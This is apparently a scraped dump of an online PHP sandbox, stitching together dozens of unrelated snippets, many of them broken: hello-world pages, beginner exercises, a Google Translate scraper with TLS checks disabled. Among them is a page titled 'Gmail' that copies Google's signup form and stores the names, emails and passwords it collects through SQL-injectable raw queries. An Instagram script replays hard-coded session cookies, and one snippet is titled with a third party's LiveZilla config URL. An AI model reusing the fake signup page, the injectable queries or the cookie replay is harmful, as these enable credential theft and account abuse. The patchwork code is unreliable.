'</pre>'; } else { echo "Do NOT loop<br>"; echo '</pre>'; echo $translation = GoogleTranslate::translate($source, $target, $text); echo '</pre>'; } /** * GoogleTranslate.class.php * * Class to talk with Google Translator. * * @category Translation * @author Adrián Barrio Andrés * @copyright 2016 Adrián Barrio Andrés * @license http://www.php.net/license/3_0.txt PHP License 3.0 * @version 1.0 * @link https://statickidz.com/ */ class GoogleTranslate { /** * @param string $source * @param string $target * @param string $text * @return string */ public static function translate($source, $target, $text) { // Request translation $response = self::requestTranslation($source, $target, $text); // Get translation text //$response = self::getStringBetween("onmouseout=\"this.style.backgroundColor='#fff'\">", "</span></div>", strval($response)); // Clean translation $translation = self::getSentencesFromJSON($response); return $translation; } /** * @param string $source * @param string $target * @param string $text * @return array */ protected static function requestTranslation($source, $target, $text) { // Google translate URL $url = "https://translate.google.com/translate_a/single?client=at&dt=t&dt=ld&dt=qca&dt=rm&dt=bd&dj=1&hl=es-ES&ie=UTF-8&oe=UTF-8&inputm=2&otf=2&iid=1dd3b944-fa62-4b55-b330-74909a99969e"; $fields = array( 'sl' => urlencode($source), 'tl' => urlencode($target), 'q' => urlencode($text) ); // URL-ify the data for the POST $fields_string = "; foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; } rtrim($fields_string, '&'); // Open connection $ch = curl_init(); // Set the url, number of POST vars, POST data curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, count($fields)); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_ENCODING, 'UTF-8'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, 'AndroidTranslate/5.3.0.RC02.130475354-53000263 5.1 phone TRANSLATE_OPM5_TEST_1'); // Execute post $result = curl_exec($ch); // Close connection curl_close($ch); return $result; } /** * @param string $json * @return string */ protected static function getSentencesFromJSON($json) { $sentencesArray = json_decode($json, true); $sentences = "; foreach ($sentencesArray["sentences"] as $s) { $sentences .= $s["trans"]; } return $sentences; } } ?>

Helo

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php for($i=1;$i<=5;++$i) { echo "/n"; for($j=1;$j<=$i;++$j) echo $j; } ?> </body> </html> <?php namespace Project; class Table{ public static function get(){ echo "Project.Table.get \n"; } } ?>

WELCOME TO GEMSNY IT SOLUTION

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $reg="register"; $log="logs"; if (!empty($_POST)) { $option = $_POST['option']; if($option==$reg) header('Location: register.php'); if($option==$log) header('Location: logs.php'); } ?> <!DOCTYPE HTML> <html> <head> <title>EXAM REGISTRATION SYSTEM</title> <style> body { text-align:center; text-indent: 50px: } </style> <script> window.onload=function(){getTime();} function getTime(){ var today=new Date(); var h=today.getHours(); var m=today.getMinutes(); var s=today.getSeconds(); // add a zero in front of numbers<10 m=checkTime(m); s=checkTime(s); document.getElementById('txt').innerHTML=h+":"+m+":"+s; setTimeout(function(){getTime()},1000); } //setInterval("getTime()",1000);//another way function checkTime(i){ if (i<10){ i="0" + i; } return i; } </script> </head> <body background="a.jpg"> <br><br> <body bgcolor=#D0C1EE> <br><br><br> <p><h1><u style="color:black">EXAM REGISTRATION SYSTEM</u></h1></p> <br> <p><h3>WELCOME!!!!</h3></p> <form action="main.php" method="post"> <fieldset> <P>CLICK REGISTER IF YOU ARE A NEW CANDIDATE</P> <input type="radio" name="option" value="register">REGISTER FOR THE GENERATION OF HALL TICKET<br> <P>TO VIEW THE CANDIDATE'S HALL TICKET</P> <input type="radio" name="option" value="logs">LOGIN<br> <input type="submit"> </fieldset><br><br><br> Current Time: <span id="txt"></span> </form> </body> </html>

fhnr

<?php $numbers = array(4, 6, 2, 22, 11); sort($numbers); $n=sizeof($numbers); for($i=0;$i<$n;$i++) echo(numbers[i]) ?> <?php $html = file_get_contents('https://ethgasstation.info/'); $doc = new DOMDocument(); $doc->loadHTML($html); $xpath = new DOMXPath($doc); $nlist = $xpath->query("//a[@href='about.php']"); echo $nlist; echo 'hello'; ?>

home.php

<? if(isset($_GET["b1"])==true) { $a=$_GET["t1"]; $a=$_GET["t2"]; $s=$a+$b; echo'sum : $s<br>'; echo"sum : $s<br>"; } ?> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <form name="emp" action="home.php" method="GET"> </form> <table border="5"> <tr> <td> enter first no. :</td> <td> <input typr="text" name="t1"/> </td> </tr> <tr> <td> enter a second no. :</td> <td> <input type="text" name="t2"/> </td> </tr> <tr> <td colspan="2"> <input type "submit value="sum" name="b1/> </td> </tr> </table> </form> </body> </html>

veryGoodProjectWithABeutifulName

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

vikas

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv = "Content-Type" content = "text/html; charset=iso-8859-1" /> <title>Lover Calculator</title> <link rel="stylesheet" type="text/css" media="screen" href="./style.css" /> <style type="text/css"> <!-- body { background-image: url(img/bg.jpg); background-repeat: no-repeat; } .style1 { color: #FFFFFF; font-weight: bold; } a:link { color: #FFFFFF; text-decoration: none; } a:visited { text-decoration: none; color: #FFFFFF; } a:hover { text-decoration: underline; color: #CCCCCC; } a:active { text-decoration: none; } .style3 { font-family: "Times New Roman", Times, serif; font-size: 12px; } .style5 {font-family: "Times New Roman", Times, serif} --> </style></head> <body> <script language = "javascript" type = "text/javascript"> var request = false; try { request = new XMLHttpRequest(); } catch (trymicrosoft) { try { request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (othermicrosoft) { try { request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (failed) { request = false; } } } if (!request) alert("Error initializing XMLHttpRequest!"); function updateDiv(person1, person2) { var url = "calc.php"; var params = "p1=" + person1 + "&p2=" + person2; request.open("POST", url, true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.setRequestHeader("Content-length", params.length); request.setRequestHeader("Connection", "close"); request.onreadystatechange = function() { if (request.readyState == 4 && request.status == 200) { var response = request.responseText; document.getElementById('targetDiv').innerHTML = response + "% "; } } request.send(params); } //--> </script> <div id = "main" align = "center"> <p><a href = "http://students3k.com"><img src = "./img/logo.png" alt = "Calculate your love!" width="414" height="91" style = "border: medium none ;" /></a> </p> <p>&nbsp;</p> <p><br /> </p> <form name = "test" action = "#"> <table border = "0"> <tbody> <tr> <td><span class="style1"><img src="./img/man.png" width="50" height="50" /></span> <input size = "30" class = "name" name = "p1" value = "Enter Full Name" type = "text" /> </td> <td style = "background-image: url('img/heart.png');background-repeat:no-repeat; width: 128px; height: 128px;"> <div id = "targetDiv" valign="middle" align = "center">0% </div> </td> <td><span class="style1"><img src="./img/woman.png" width="50" height="50" /></span> <input size = "30" class = "name" name = "p2" value = "Enter Full Name" type = "text" /> <br /></td> </tr> </tbody> </table> <br /> <br /> <input onclick = "updateDiv(p1.value, p2.value)" value = " style = "border: medium none ; background: transparent url(img/calculate.png) repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; width: 131px; height: 52px;" type = "button"> <br /> <br /> <div id = "instructions"><img src="./img/how-it-works.png" alt="how does it work?" width="598" height="201" /></div> </form> <center> <p><br /> <br /> <br /> <br /> <span class="style1">&copy; 2013 <a href = "http://www.students3k.com/">Love Calculator - Students3k.Com By Karthikh Venkat</a></span></p> </center> </div> </body> </html> </body> </html>

Hi i am

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

fvhnv

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

https://pt.stackoverflow.com/q/265984/101

<?php function parse(string $text, $callback) { if (gettype($callback) == "array") echo "é um array\n"; else echo $callback; } parse("xxx", array("yyy")); parse("xxx", "yyy"); //https://pt.stackoverflow.com/q/265984/101

echo "hola"; echo "que tal"; $name="elvis"; $age=23;

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>What eletrical unit variable has the greatest affect on the depth of penetration?</h1>\n"; echo "<h1>What will hapen to the eletrical current as the eletrical extension increase?</h1>\n"; ?> </body> </html>

fiyat-kontrol

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $product_val['cost']=99; $val['UNITPRICE']=100; $val['RETAILPRICE']=0; $val['DISCOUNTPRICE']=0; $message = array(); //İndirim Ön Kontrolleri if($val['RETAILPRICE']==0 && $val['DISCOUNTPRICE']>0) { $val['RETAILPRICE'] = $val['DISCOUNTPRICE']; } if($val['DISCOUNTPRICE']<=$val['RETAILPRICE'] && $val['DISCOUNTPRICE']>0) { $val['RETAILPRICE'] = $val['DISCOUNTPRICE']; } //Beklenen 1. Durum : İndirimli fiyat liste fiyatından düşük sıfırdan büyük if($val['UNITPRICE']>$val['RETAILPRICE'] && $val['RETAILPRICE']>0 && $val['UNITPRICE']>0) { if (($product_val['cost'] < $val['RETAILPRICE']) && (($val['RETAILPRICE'] / $val['UNITPRICE']) >= 0.3)) { $message[] = 'Liste:' . $val['UNITPRICE'] . 'TL, İndirimli:'. $val['RETAILPRICE'] . 'TL Fiyat Onaylandı '; } else { $message[] = 'Liste:' . $val['UNITPRICE'] . 'TL, İndirimli:'. $val['RETAILPRICE'] . 'TL Maliyet '.$product_val['cost'].' veya İndirim Oranı ' . ($val['RETAILPRICE']/$val['UNITPRICE']) . ' Hatalı '; } //Beklenen 2.Durum İndirimli Fiyat ile Liste Fiyatı Aynı } else if($val['RETAILPRICE']==$val['UNITPRICE'] && $val['RETAILPRICE']>0) { $message[] = 'İndirimli fiyat kaldırıldı '; //Beklenen 3. Durum: İndirimli Fiyat yok } else if($val['UNITPRICE']>$product_val['cost'] && $val['RETAILPRICE']==0) { $message[] = 'Liste: ' . $val['UNITPRICE'] . ' TL yayınlandı, İndirimli fiyat yok/silindi'; //Hata: Liste fiyatı indirimli fiyattan düşük olamaz } else { $message[]= $message[] = 'Liste:' . $val['UNITPRICE'] . 'TL, İndirimli:'. $val['RETAILPRICE'] . ' fiyattan düşük olamaz'; } echo implode(' ',$message); ?> </body> </html>

<?php $x = 50; $y = 10; echo $x + $y,"<br>"; echo $x - $y,"<br>"; echo $x * $y,"<br>"; echo $x / $y,"<br>"; $x++; echo $x,"<br>"; $y--; echo $y,"<br>"; ?>

<?php $x = 50; $y = 10; echo $x + $y,"<br>"; echo $x - $y,"<br>"; echo $x * $y,"<br>"; echo $x / $y,"<br>"; $x++; echo $x,"<br>"; $y--; echo $y,"<br>"; ?>

Instagram Like Unlike

<?php $curl = curl_init(); $csrftoken=isset($_REQUEST['csrftoken'])?$_REQUEST['csrftoken']:"8lSeT5LVDHwSQssgftYtMkZEbtz4EIVQ"; $sessionid=isset($_REQUEST['sessionid'])?$_REQUEST['sessionid']:"3944558677%3AETAWwXRCXz8wgz%3A15"; $postid=isset($_REQUEST['postid'])?$_REQUEST['postid']:"1681633825773633665"; $status=isset($_REQUEST['status'])?$_REQUEST['status']:"like"; // like/unlike curl_setopt_array($curl, array( CURLOPT_URL => "https://www.instagram.com/web/likes/".$postid."/".$status."/", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_HTTPHEADER => array( "cache-control: no-cache", "content-type: application/x-www-form-urlencoded", "host: www.instagram.com", "referer: https://www.instagram.com", "x-csrftoken: ".$csrftoken, "Cookie: csrftoken=".$csrftoken."; sessionid=".$sessionid ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }?>

sgedfg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

<!doctype html> <html> <head> <meta charset="utf-8"> <title>Gmail</title> <link rel="stylesheet" href="page.css" type="text/css"/> <link rel="

<!doctype html> <html> <head> <meta charset="utf-8"> <title>Gmail</title> <link rel="stylesheet" href="page.css" type="text/css"/> <link rel="icon" href="s.ico"/> </head> <body> <?php include_once("f.php"); if(isset($_POST['submit'])){ $fast_name=$_POST['fast_name']; $last_name=$_POST['last_name']; $email=$_POST['email']; $password1=$_POST['password1']; $password2=$_POST['password2']; $month=$_POST['month']; $day=$_POST['day']; $year=$_POST['year']; $gender=$_POST['gender']; $mobile=$_POST['mobile']; $your=$_POST['your']; $location=$_POST['location']; $a="INSERT INTO loging(fast_name,last_name,email,password1,password2,month,day,year,gender,moblie ,your,location) VALUES ('$fast_name','$last_name','$email','$password1','$password2','$month','$day','$year','$gender','$mobile','$your','$location')"; $b=mysql_query($a); if($b) { echo " w o w!"; } else { echo "ddd!"; } } ?> <div class="mi"> <header> <div class="logo"> <img src="d.png" height="36" width:"112"/> </div> <div class="signin"> <input type="submit" value="sign in" class="signin_css"/> </div> </header> <section> <div class="box1"> <h4>Create your Google Account</h4> </div> <div class="box1left"> <div class="boxl1"> <p>One account is all you need</p> </div> <div class="boxl2"> <p>One free account gets you into everything Google.</p> </div> <div class="boxl3"> <img src="koa.png" /> </div> <div class="boxl4"> <p> Take it all with you</p> </div> <div class="boxl5"> <p>Switch between devices, and pick up wherever you left off.</p> </div> <div class="boxl3"> <img src="kob.png" /> </div> </div> <div class="box1right"> <form action="index.php" method="post"> <p> Name </br> <input type="text" size="22" placeholder="Fast" class="c" required name="fast_name" value="/> <input type="text" size="22" placeholder="Last" class="c" required name="last_name" value="/> </p> <p> Choose your username </br> <input type="email" size="50" placeholder="@gmail.com" class="c" required name="email" value="/> </p> <p> Create a password </br> <input type="password" size="50" placeholder="Create a password" class="c" required title="Your password should be a minimum of 8 character " name="password1" value="/> </p> <p> Confirm your password </br> <input type="password" size="50" placeholder="Confirm your password" class="c" required title="Your password should be a minimum of 8 character l"name="password2" value="/> </p> <p> Birthday </br> <select required name="month" value="> <option selected>Month</option> <option>January</option> <option >February</option> <option>March</option> <option>April</option> <option >May</option> <option >June</option> <option>July</option> <option>August</option> <option >September</option> <option >October</option> <option>November</option> <option>December</option> </select> <input type="text" size="12" placeholder="Day" class="c" name="day" value="/> <input type="text" size="12" placeholder="Year" class="c" name="year" value="/> </p> <p> Gender <br/><input type="radio" name="gender" class="c" required /> male<input type="radio" name="gender" class="c"/> female </p> <p> Mobile phone </br> <input type="text" size="50" placeholder="Your Mobile"class="c" required name=" mobile"/> </p> <p> Your current email address </br> <input type="text" size="50" placeholder="class="c" required name="your" value="/> </p> <p> Location </br> <select name="location"> <option value="AF"> Afghanistan (‫افغانستان‬‎) </option> <option value="AX"> Åland Islands </option> <option value="AL"> Albania (Shqipëria) </option> <option value="DZ"> Algeria (‫الجزائر‬‎) </option> <option value="AS"> American Samoa </option> <option value="AD"> Andorra </option> <option value="AO"> Angola </option> <option value="AI"> Anguilla </option> <option value="AQ"> Antarctica </option> <option value="AG"> Antigua and Barbuda </option> <option value="AR"> Argentina </option> <option value="AM"> Armenia (Հայաստան) </option> <option value="AW"> Aruba </option> <option value="AU"> Australia </option> <option value="AT"> Austria (Österreich) </option> <option value="AZ"> Azerbaijan (Azərbaycan) </option> <option value="BS"> Bahamas </option> <option value="BH"> Bahrain (‫البحرين‬‎) </option> <option value="BD"> Bangladesh (বাংলাদেশ) </option> <option value="BB"> Barbados </option> <option value="BY"> Belarus (Белару́сь) </option> <option value="BE"> Belgium (België) </option> <option value="BZ"> Belize </option> <option value="BJ"> Benin (Bénin) </option> <option value="BM"> Bermuda </option> <option value="BT"> Bhutan (འབྲུག་ཡུལ) </option> <option value="BO"> Bolivia </option> <option value="BA"> Bosnia and Herzegovina (Bosna i Hercegovina) </option> <option value="BW"> Botswana </option> <option value="BV"> Bouvet Island </option> <option value="BR"> Brazil (Brasil) </option> <option value="IO"> British Indian Ocean Territory </option> <option value="VG"> British Virgin Islands </option> <option value="BN"> Brunei (Brunei Darussalam) </option> <option value="BG"> Bulgaria (България) </option> <option value="BF"> Burkina Faso </option> <option value="BI"> Burundi (Uburundi) </option> <option value="KH"> Cambodia (Kampuchea) </option> <option value="CM"> Cameroon (Cameroun) </option> <option value="CA"> Canada </option> <option value="CV"> Cape Verde (Cabo Verde) </option> <option value="KY"> Cayman Islands </option> <option value="CF"> Central African Republic</option> <option value="TD"> Chad (Tchad) </option> <option value="CL"> Chile </option> <option value="CN"> China (中国) </option> <option value="CX"> Christmas Island </option> <option value="CC"> Cocos [Keeling] Islands </option> <option value="CO"> Colombia </option> <option value="KM"> Comoros (Comores) </option> <option value="CD"> Congo [DRC] </option> <option value="CG"> Congo [Republic] </option> <option value="CK"> Cook Islands </option> <option value="CR"> Costa Rica </option> <option value="CI"> Côte d’Ivoire </option> <option value="HR"> Croatia (Hrvatska) </option> <option value="CU"> Cuba </option> <option value="CY"> Cyprus (Κυπρος) </option> <option value="CZ"> Czech Republic (Česko) </option> <option value="DK"> Denmark (Danmark) </option> <option value="DJ"> Djibouti </option> <option value="DM"> Dominica </option> <option value="DO"> Dominican Republic </option> <option value="EC"> Ecuador </option> <option value="EG"> Egypt (‫مصر‬‎) </option> <option value="SV"> El Salvador </option> <option value="GQ"> Equatorial Guinea (Guinea Ecuatorial) </option> <option value="ER"> Eritrea (Ertra) </option> <option value="EE"> Estonia (Eesti) </option> <option value="ET"> Ethiopia (Ityopiya) </option> <option value="FK"> Falkland Islands [Islas Malvinas] </option> <option value="FO"> Faroe Islands </option> <option value="FJ"> Fiji </option> <option value="FI"> Finland (Suomi) </option> <option value="FR"> France </option> <option value="GF"> French Guiana </option> <option value="PF"> French Polynesia </option> <option value="TF"> French Southern Territories </option> <option value="GA"> Gabon </option> <option value="GM"> Gambia </option> <option value="GE"> Georgia (საქართველო) </option> <option value="DE"> Germany (Deutschland) </option> <option value="GH"> Ghana </option> <option value="GI"> Gibraltar </option> <option value="GR"> Greece (Ελλάς) </option> <option value="GL"> Greenland </option> <option value="GD"> Grenada </option> <option value="GP"> Guadeloupe </option> <option value="GU"> Guam </option> <option value="GT"> Guatemala </option> <option value="GG"> Guernsey </option> <option value="GN"> Guinea (Guinée) </option> <option value="GW"> Guinea-Bissau (Guiné-Bissau) </option> <option value="GY"> Guyana </option> <option value="HT"> Haiti (Haïti) </option> <option value="HM"> Heard Island and McDonald Islands </option> <option value="HN"> Honduras </option> <option value="HK"> Hong Kong </option> <option value="HU"> Hungary (Magyarország) </option> <option value="IS"> Iceland (Ísland) </option> <option value="IN" selected> India </option> <option value="ID"> Indonesia </option> <option value="IR"> Iran (‫ایران‬‎) </option> <option value="IQ"> Iraq (‫العراق‬‎) </option> <option value="IE"> Ireland </option> <option value="IM"> Isle of Man </option> <option value="IL"> Israel (‫ישראל‬‎) </option> <option value="IT"> Italy (Italia) </option> <option value="JM"> Jamaica </option> <option value="JP"> Japan (日本) </option> <option value="JE"> Jersey </option> <option value="JO"> Jordan (‫الاردن‬‎) </option> <option value="KZ"> Kazakhstan (Қазақстан) </option> <option value="KE"> Kenya </option> <option value="KI"> Kiribati </option> <option value="KW"> Kuwait (‫الكويت‬‎) </option> <option value="KG"> Kyrgyzstan (Кыргызстан) </option> <option value="LA"> Laos (ນລາວ) </option> <option value="LV"> Latvia (Latvija) </option> <option value="LB"> Lebanon (‫لبنان‬‎) </option> <option value="LS"> Lesotho </option> <option value="LR"> Liberia </option> <option value="LY"> Libya (‫ليبيا‬‎) </option> <option value="LI"> Liechtenstein </option> <option value="LT"> Lithuania (Lietuva) </option> <option value="LU"> Luxembourg (Lëtzebuerg) </option> <option value="MO"> Macau </option> <option value="MK"> Macedonia [FYROM] (Македонија) </option> <option value="MG"> Madagascar (Madagasikara) </option> <option value="MW"> Malawi </option> <option value="MY"> Malaysia </option> <option value="MV"> Maldives (‫ގުޖޭއްރާ ޔާއްރިހޫމްޖ‬‎) </option> <option value="ML"> Mali </option> <option value="MT"> Malta </option> <option value="MH"> Marshall Islands </option> <option value="MQ"> Martinique </option> <option value="MR"> Mauritania (‫موريتانيا‬‎) </option> <option value="MU"> Mauritius </option> <option value="YT"> Mayotte </option> <option value="MX"> Mexico (México) </option> <option value="FM"> Micronesia </option> <option value="MD"> Moldova </option> <option value="MC"> Monaco </option> <option value="MN"> Mongolia (Монгол Улс) </option> <option value="ME"> Montenegro (Црна Гора) </option> <option value="MS"> Montserrat </option> <option value="MA"> Morocco (‫المغرب‬‎) </option> <option value="MZ"> Mozambique (Moçambique) </option> <option value="MM"> Myanmar [Burma] (Myanmar (Burma)) </option> <option value="NA"> Namibia </option> <option value="NR"> Nauru (Naoero) </option> <option value="NP"> Nepal (नेपाल) </option> <option value="NL"> Netherlands (Nederland) </option> <option value="AN"> Netherlands Antilles </option> <option value="NC"> New Caledonia </option> <option value="NZ"> New Zealand </option> <option value="NI"> Nicaragua </option> <option value="NE"> Niger </option> <option value="NG"> Nigeria </option> <option value="NU"> Niue </option> <option value="NF"> Norfolk Island </option> <option value="MP"> Northern Mariana Islands </option> <option value="KP"> North Korea (조선) </option> <option value="NO"> Norway (Norge) </option> <option value="OM"> Oman (‫عمان‬‎) </option> <option value="PK"> Pakistan (‫پاکستان‬‎) </option> <option value="PW"> Palau (Belau) </option> <option value="PS"> Palestinian Territories </option> <option value="PA"> Panama (Panamá) </option> <option value="PG"> Papua New Guinea </option> <option value="PY"> Paraguay </option> <option value="PE"> Peru (Perú) </option> <option value="PH"> Philippines (Pilipinas) </option> <option value="PN"> Pitcairn Islands </option> <option value="PL"> Poland (Polska) </option> <option value="PT"> Portugal </option> <option value="PR"> Puerto Rico </option> <option value="QA"> Qatar (‫قطر‬‎) </option> <option value="RE"> Réunion </option> <option value="RO"> Romania (România) </option> <option value="RU"> Russia (Россия) </option> <option value="RW"> Rwanda </option> <option value="SH"> Saint Helena </option> <option value="KN"> Saint Kitts and Nevis </option> <option value="LC"> Saint Lucia </option> <option value="PM"> Saint Pierre and Miquelon </option> <option value="VC"> Saint Vincent and the Grenadines </option> <option value="WS"> Samoa </option> <option value="SM"> San Marino </option> <option value="ST"> São Tomé and Príncipe </option> <option value="SA"> Saudi Arabia (‫المملكة العربية السعودية‬‎) </option> <option value="SN"> Senegal (Sénégal) </option> <option value="RS"> Serbia (Србија) </option> <option value="CS"> Serbia and Montenegro (Србија и Црна Гора) </option> <option value="SC"> Seychelles </option> <option value="SL"> Sierra Leone </option> <option value="SG"> Singapore (Singapura) </option> <option value="SK"> Slovakia (Slovensko) </option> <option value="SI"> Slovenia (Slovenija) </option> <option value="SB"> Solomon Islands </option> <option value="SO"> Somalia (Soomaaliya) </option> <option value="ZA"> South Africa </option> <option value="GS"> South Georgia and the South Sandwich Islands </option> <option value="KR"> South Korea (한국) </option> <option value="ES"> Spain (España) </option> <option value="LK"> Sri Lanka </option> <option value="SD"> Sudan (‫السودان‬‎) </option> <option value="SR"> Suriname </option> <option value="SJ"> Svalbard and Jan Mayen </option> <option value="SZ"> Swaziland </option> <option value="SE"> Sweden (Sverige) </option> <option value="CH"> Switzerland (Schweiz) </option> <option value="SY"> Syria (‫سوريا‬‎) </option> <option value="TW"> Taiwan (台灣) </option> <option value="TJ"> Tajikistan (Тоҷикистон) </option> <option value="TZ"> Tanzania </option> <option value="TH"> Thailand (ราชอาณาจักรไทย) </option> <option value="TL"> Timor-Leste </option> <option value="TG"> Togo </option> <option value="TK"> Tokelau </option> <option value="TO"> Tonga </option> <option value="TT"> Trinidad and Tobago </option> <option value="TN"> Tunisia (‫تونس‬‎) </option> <option value="TR"> Turkey (Türkiye) </option> <option value="TM"> Turkmenistan (Türkmenistan) </option> <option value="TC"> Turks and Caicos Islands </option> <option value="TV"> Tuvalu </option> <option value="UM"> U.S. Minor Outlying Islands </option> <option value="VI"> U.S. Virgin Islands </option> <option value="UG"> Uganda </option> <option value="UA"> Ukraine (Україна) </option> <option value="AE"> United Arab Emirates (‫الإمارات العربيّة المتّحدة‬‎) </option> <option value="GB"> United Kingdom </option> <option value="US" > United States </option> <option value="UY"> Uruguay </option> <option value="UZ"> Uzbekistan (Ozbekiston) </option> <option value="VU"> Vanuatu </option> <option value="VA"> Vatican City (Città del Vaticano) </option> <option value="VE"> Venezuela </option> <option value="VN"> Vietnam (Việt Nam) </option> <option value="WF"> Wallis and Futuna </option> <option value="EH"> Western Sahara (‫الصحراء الغربية‬‎) </option> <option value="YE"> Yemen (‫اليمن‬‎) </option> <option value="ZM"> Zambia </option> <option value="ZW"> Zimbabwe </option> </select> </p> <input type="submit" value="nextstep" name="submit"class="cs" /> </form> </p> </div> </div> <footer></footer> <?php mysql_connect('localhost','root',''); mysql_select_db('sasa'); ?> </body> </html>

http://www.investarindia.com:4321/livezilla/_config/config.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<?php define("Name","Rakesh Kumar Soni.",true); function myTest(){ echo name; } $name1 = myTest(); ?>

school helper

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

prvi

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

curl

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php function test_api(){ static $url = "http://185.69.153.52:2222/lowest"; static $ch = null; if (is_null($ch)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; PHP client; ' . php_uname('s') . '; PHP/' . phpversion() . ')'); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); $res = curl_exec($ch); if ($res === false) throw new Exception('Could not get reply: ' . curl_error($ch)); $dec = json_decode($res, true); if ($dec === null){ echo 'Invalid data received, please make sure connection is working and requested API exists'; } curl_close($ch); return $dec; } var_dump(test_api()); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $protocol = "https://"; $mycloud = "parablu.com"; define('DS','/'); $cloudName = "testcloudname"; $paraCloudUrl = $protocol.$mycloud.DS; define('PARACLOUD_URL', $paraCloudUrl.'paracloud'.DS.'cloud'.DS); $string_data = "{paracloud}:{cloudName}.authenthicate"; $cleanUrl = str_replace(':', '', $string_data); echo "\ncleanurl ", $cleanUrl; $dotUrl = str_replace('{cloudName}', $cloudName, $cleanUrl); echo "\ndoturl ", $dotUrl; $withOutDotUrl = str_replace('.', DS, $dotUrl); echo "\nwithout ", $withOutDotUrl; if(strpos($withOutDotUrl, '{paracloud}') !== false){ $url = str_replace('{paracloud}', PARACLOUD_URL, $withOutDotUrl); }elseif(strpos($withOutDotUrl, '{support}') !== false){ $url = str_replace('{support}', SUPPORT_URL, $withOutDotUrl); }else{ $url = str_replace('{blukrypt}', BLUKRYPT_URL, $withOutDotUrl); } echo "\n $url"; ?> </body> </html>

ssaa

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<?php if(!($sock = socket_create(AF_INET, SOCK_STREAM, 0))) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Couldn't create socket: [$errorcode] $errormsg \n"); } echo "Socket created \n"; // Bind the source address if( !socket_bind($sock, "127.0.0.1" , 5000) ) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Could not bind socket : [$errorcode] $errormsg \n"); } echo "Socket bind OK \n"; if(!socket_listen ($sock , 10)) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Could not listen on socket : [$errorcode] $errormsg \n"); } echo "Socket listen OK \n"; echo "Waiting for incoming connections... \n"; //Accept incoming connection - This is a blocking call $client = socket_accept($sock); //display information about the client who is connected if(socket_getpeername($client , $address , $port)) { echo "Client $address : $port is now connected to us. \n"; } //read data from the incoming socket $input = socket_read($client, 1024000); $response = "OK .. $input"; // Display output back to client socket_write($response); socket_write('\r\n'); socket_write($client, "\r\n"); socket_write($client,"super"); socket_write($client, $_SERVER['REMOTE_ADDR']); socket_write($client, '\r\n'); print($_SERVER['REMOTE_ADDR']); socket_close($client);

php getenv

